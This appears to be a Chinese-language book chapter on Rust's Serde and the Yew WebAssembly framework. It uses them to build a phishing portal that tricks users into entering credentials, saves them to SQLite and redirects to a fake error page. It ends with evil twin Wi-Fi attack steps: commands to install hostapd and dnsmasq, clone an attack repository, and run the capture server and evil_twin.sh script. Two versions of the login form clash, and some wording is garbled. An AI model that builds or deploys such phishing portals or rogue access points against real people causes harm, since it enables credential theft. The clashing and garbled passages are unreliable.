Rust 提供了 Serde 這個功能強大的序列化/反序列化框架,可以輕鬆地將資料在不同格式之間轉換,例如 JSON、XML 等。配合 Yew 這個根據 WebAssembly 的前端框架,可以更便捷地構建高效能的網頁應用。Yew 採用元件化開發模式,允許開發者將 UI 拆分成獨立的、可複用的元件,提高程式碼的可維護性和可讀性。在 Yew 中,資料透過屬性(Props)傳遞給元件,元件內部的狀態更新則透過訊息(Message)機制觸發。透過結合 Serde 和 Yew,開發者可以更有效率地處理前端資料的序列化、反序列化以及 UI 的渲染和互動邏輯。文章中的網路釣魚頁面示例,展示瞭如何使用 Yew 構建表單、處理使用者輸入、傳送 HTTP 請求等常見的前端應用場景,並結合 Serde 進行資料的序列化和反序列化,方便前後端資料交換。

9.11 Rust 中的反序列化

在學習一門新的程式語言時,最常被問到的問題之一是:如何將一個結構體(struct)編碼/解碼為 JSON?(或 XML,或 CBOR…) 在 Rust 中,這很簡單:只需使用 serde 註解你的結構體即可。

使用 Serde 實作序列化和反序列化

還記得第4章中提到的程式宏(procedural macros)嗎?SerializeDeserialize 都是由 serde 套件提供的程式宏,用於簡化 Rust 型別(struct、enum 等)與任何資料格式之間的序列化和反序列化。

use serde::{Deserialize, Serialize};

#[derive(Serialize, Deserialize)]
pub struct LoginRequest {
    pub email: String,
    pub password: String,
}

內容解密:

  • serde 是一個用於 Rust 的序列化/反序列化框架,支援多種資料格式,包括 JSON、XML 等。
  • SerializeDeserializeserde 提供的兩個程式宏,分別用於將 Rust 型別序列化為某種資料格式,以及將某種資料格式反序列化為 Rust 型別。
  • 在上述範例中,LoginRequest 結構體被註解為可序列化和反序列化,這意味著它可以被轉換為 JSON 字串,或者從 JSON 字串轉換回來。

接下來,你可以使用專門的套件,如 serde_json,來進行 JSON 的序列化和反序列化:

// 解碼
let req_data: LoginRequest = serde_json::from_str("{ ... }")?;
// 編碼
let json_response = serde_json::to_string(&req_data)?;

內容解密:

  • serde_json::from_str 用於將 JSON 字串反序列化為 LoginRequest 結構體的例項。
  • serde_json::to_string 用於將 LoginRequest 結構體的例項序列化為 JSON 字串。

大多數情況下,你不需要自己手動進行這些操作,因為一些框架,如 HTTP 客戶端函式庫或 Web 伺服器,會為你處理這些事情。

9.12 使用 WebAssembly 的客戶端應用程式

現代的網頁應用程式,無論是使用 React、VueJS、Angular 還是 Rust,都由三種元件組成:

  • 元件(Components)
  • 頁面(Pages)
  • 服務(Service)

元件是可重複使用的 UI 元件,例如輸入欄位或按鈕。頁面是元件的組合,對應到特定的路由(URL)。服務則是包裝底層功能或外部服務的輔助工具,例如 HTTP 客戶端或儲存服務。

圖 9.6:客戶端網頁應用程式的架構

我們的應用程式目標很簡單:它是一個入口網站,誘讓使用者輸入他們的憑證(讓他們以為這是一個合法的表單),然後將這些憑證儲存到 SQLite 資料函式庫中,最後將使用者重新導向到一個錯誤頁面,讓他們以為服務暫時不可用,稍後再試。

9.12.1 安裝工具鏈

wasm-pack 可以幫助你建立 Rust 生成的 WebAssembly 套件,並在瀏覽器或 Node.js 中使用它。

$ cargo install -f wasm-pack

9.12.2 模型

在後端和前端使用相同的語言的一個好處是能夠重複使用模型:

pub mod model {
    use serde::{Deserialize, Serialize};

    #[derive(Debug, Clone, Serialize, Deserialize)]
    #[serde(rename_all = "snake_case")]
    pub struct Login {
        pub email: String,
        pub password: String,
    }

    #[derive(Debug, Clone, Serialize, Deserialize)]
    #[serde(rename_all = "snake_case")]
    pub struct LoginResponse {
        pub ok: bool,
    }
}

pub mod routes {
    pub const LOGIN: &str = "/api/login";
}

內容解密:

  • 在這個範例中,我們定義了兩個結構體:LoginLoginResponse,它們都使用了 serdeSerializeDeserialize 程式宏,使得它們可以被序列化/反序列化。
  • #[serde(rename_all = "snake_case")] 屬性用於指定序列化/反序列化時欄位名稱的命名風格,這裡使用的是 snake_case 風格。

這樣,如果我們對模型進行了更改,就不需要手動在其他地方進行相同的更改,從而避免了模型不同步的問題。

9.12.3 元件

我們的應用程式由元件組成。元件是可重複使用的功能或設計單元。

為了建立我們的元件,我們使用了 yew 套件,它是目前最先進和支援度最高的 Rust 前端框架。

屬性(Properties,或 Props)可以被視為元件的引數。例如,函式 fn factorial(x: u64) -> u64 有一個引數 x。對於元件來說,也是同樣的道理。如果我們想要用特定的資料渲染它們,我們會使用屬性。

use yew::{html, Component, ComponentLink, Html, Properties, ShouldRender};

pub struct ErrorAlert {
    props: Props,
}

#[derive(Properties, Clone)]
pub struct Props {
    #[prop_or_default]
    pub error: Option<crate::Error>,
}

impl Component for ErrorAlert {
    type Message = ();
    type Properties = Props;

    fn create(props: Self::Properties, _: ComponentLink<Self>) -> Self {
        ErrorAlert { props }
    }

    // ...
}

內容解密:

  • 在這個範例中,我們定義了一個名為 ErrorAlert 的元件,它具有一個屬性 error,用於顯示錯誤訊息。
  • yew 框架提供了 Component trait,需要實作多個方法來定義元件的行為,包括建立、更新和渲染。

另一個元件是 LoginForm,它包裝了捕捉和儲存憑證的邏輯。

pub struct LoginForm {
    link: ComponentLink<Self>,
    error: Option<Error>,
    email: String,
    password: String,
    http_client: HttpClient,
    api_response_callback: Callback<Result<model::LoginResponse, Error>>,
    api_task: Option<FetchTask>,
}

pub enum Msg {
    Submit,
    ApiResponse(Result<model::LoginResponse, Error>),
    UpdateEmail(String),
    UpdatePassword(String),
}

impl Component for LoginForm {
    // ...
}

內容解密:

  • LoginForm 元件維護了多個狀態,包括 email、password 和錯誤訊息等。
  • 它還處理了多種訊息,如提交表單、更新 email 或 password,以及接收 API 回應等。
  • 當使用者提交表單時,它會向伺服器傳送一個登入請求,並根據回應進行相應的處理。

最終,view 方法(類別似於其他框架中的 render 方法)負責渲染元件的 UI。

fn view(&self) -> Html {
    let onsubmit = self.link.callback(|ev: FocusEvent| {
        ev.prevent_default(); /* Prevent event propagation */
        Msg::Submit
    });

    // ...
}

內容解密:

  • 在這個方法中,我們定義了表單提交事件的處理邏輯,並防止了預設的事件傳播行為。
  • 然後,我們建立了一個 HTML 表單,並將其與元件的狀態和方法繫結起來。

使用Rust與Yew構建網路釣魚頁面

在前面的章節中,我們已經瞭解瞭如何使用Rust和Yew框架構建Web應用程式。在本文中,我們將探討如何使用這些技術來建立網路釣魚頁面,並瞭解其背後的原理。

網路釣魚頁面元件

網路釣魚頁面的構建涉及多個元件的組合,包括登入表單、路由設定和HTTP請求處理等。讓我們逐步分析這些元件。

登入表單元件

首先,我們來看看登入表單的實作。這個元件負責處理使用者輸入的帳號和密碼,並將其傳送到伺服器進行驗證。

// ch_09/phishing/webapp/src/components/login_form.rs
pub struct LoginForm {
    username: String,
    password: String,
}

impl Component for LoginForm {
    type Message = Msg;
    type Properties = ();

    fn create(_: Self::Properties, _: ComponentLink<Self>) -> Self {
        Self {
            username: String::new(),
            password: String::new(),
        }
    }

    fn update(&mut self, msg: Self::Message) -> ShouldRender {
        match msg {
            Msg::InputUsername(username) => self.username = username,
            Msg::InputPassword(password) => self.password = password,
            Msg::Submit => {
                // 處理表單提交邏輯
            }
        }
        true
    }

    fn view(&self) -> Html {
        html! {
            <form>
                <div class="mb-3">
                    <input
                        class="form-control form-control-lg"
                        type="text"
                        placeholder="Username"
                        value=self.username.clone()
                        oninput=|e| Msg::InputUsername(e.value)
                    />
                </div>
                <div class="mb-3">
                    <input
                        class="form-control form-control-lg"
                        type="password"
                        placeholder="Password"
                        value=self.password.clone()
                        oninput=|e| Msg::InputPassword(e.value)
                    />
                </div>
                <button
                    class="btn btn-lg btn-primary pull-xs-right"
                    type="submit"
                    disabled=false
                >
                    { "Sign in" }
                </button>
            </form>
        }
    }
}

內容解密:

  1. LoginForm結構體:定義了包含usernamepassword欄位的結構體,用於儲存使用者輸入的資料。
  2. Component特徵實作:為LoginForm實作Component特徵,定義了元件的建立、更新和渲染邏輯。
  3. update方法:處理使用者輸入和表單提交事件,更新元件狀態。
  4. view方法:傳回元件的HTML表示,使用Yew的html!巨集生成。

頁面元件

頁面元件是由多個較小的元件組合而成的。在我們的例子中,登入頁面包含了標題和登入表單。

// ch_09/phishing/webapp/src/pages/login.rs
pub struct Login {}

impl Component for Login {
    type Message = ();
    type Properties = ();

    fn view(&self) -> Html {
        html! {
            <div>
                <div class="container text-center mt-5">
                    <div class="row justify-content-md-center mb-5">
                        <div class="col col-md-8">
                            <h1>{ "My Awesome intranet" }</h1>
                        </div>
                    </div>
                    <div class="row justify-content-md-center">
                        <div class="col col-md-8">
                            <LoginForm />
                        </div>
                    </div>
                </div>
            </div>
        }
    }
}

內容解密:

  1. Login結構體:一個空結構體,表示登入頁面元件。
  2. Component特徵實作:為Login實作Component特徵,主要定義了view方法。
  3. view方法:傳回頁面的HTML表示,包含了一個標題和一個LoginForm元件。

路由設定

路由是將URL對映到特定頁面的機制。在我們的應用程式中,我們定義了一個Route列舉來表示不同的路由。

// ch_09/phishing/webapp/src/lib.rs
#[derive(Switch, Debug, Clone)]
pub enum Route {
    #[to = "*"]
    Fallback,
    #[to = "/error"]
    Error,
    #[to = "/"]
    Login,
}

內容解密:

  1. Route列舉:定義了應用程式中的不同路由,包括Fallback、Error和Login。
  2. #[derive(Switch, Debug, Clone)]:自動為Route列舉派生必要的特徵,包括Switch用於路由切換。

HTTP請求處理

為了與伺服器互動,我們需要處理HTTP請求。這涉及到構建請求、傳送請求並處理回應。

// ch_09/phishing/webapp/src/services/http_client.rs
impl HttpClient {
    pub fn post<B, T>(
        &mut self,
        url: String,
        body: B,
        callback: Callback<Result<T, Error>>,
    ) -> FetchTask
    where
        for<'de> T: Deserialize<'de> + 'static + std::fmt::Debug,
        B: Serialize,
    {
        // 構建和傳送POST請求
    }
}

內容解密:

  1. post方法:傳送一個POST請求到指定的URL,包含一個可序列化的主體和一個回撥函式,用於處理回應。
  2. 泛型引數B代表請求主體的型別,T代表預期的回應型別,兩者都必須實作特定的特徵。

惡意雙胞胎攻擊

瞭解瞭如何使用Rust和Yew構建網路釣魚頁面後,我們現在來討論一種稱為“惡意雙胞胎攻擊”的網路攻擊技術。這種攻擊涉及建立一個與合法Wi-Fi接入點相同的惡意接入點,以欺騙使用者連線並竊取他們的憑證。

如何實施惡意雙胞胎攻擊

實施惡意雙胞胎攻擊需要幾個步驟,包括設定惡意接入點、組態DNS和HTTP伺服器等。下面是一個簡化的步驟。

  1. 安裝必要的依賴:在Raspberry Pi上安裝必要的軟體包,如hostapddnsmasq等。
  2. 組態惡意接入點:使用hostapd組態Raspberry Pi的無線網路卡為一個接入點,模擬合法的Wi-Fi網路。
  3. 啟動網路釣魚門戶:執行一個捕捉門戶,用於捕捉使用者的登入憑證。
$ sudo apt install -y macchanger hostapd dnsmasq sqlite3 libssl-dev
$ git clone https://github.com/skerkour/black-hat-rust.git && cd black-hat-rust/ch_09/evil_twin
$ make -C ../phishing/ rpi && cp -r ../phishing/dist/* .
$ sudo ./server -p 80 &
$ sudo ./evil_twin.sh

內容解密:

  1. 安裝依賴:安裝必要的軟體包以支援惡意雙胞胎攻擊。
  2. 組態惡意接入點:使用hostapd和特定的組態檔案,將Raspberry Pi設定為惡意接入點。
  3. 啟動網路釣魚門戶:執行捕捉門戶,以捕捉使用者的登入憑證。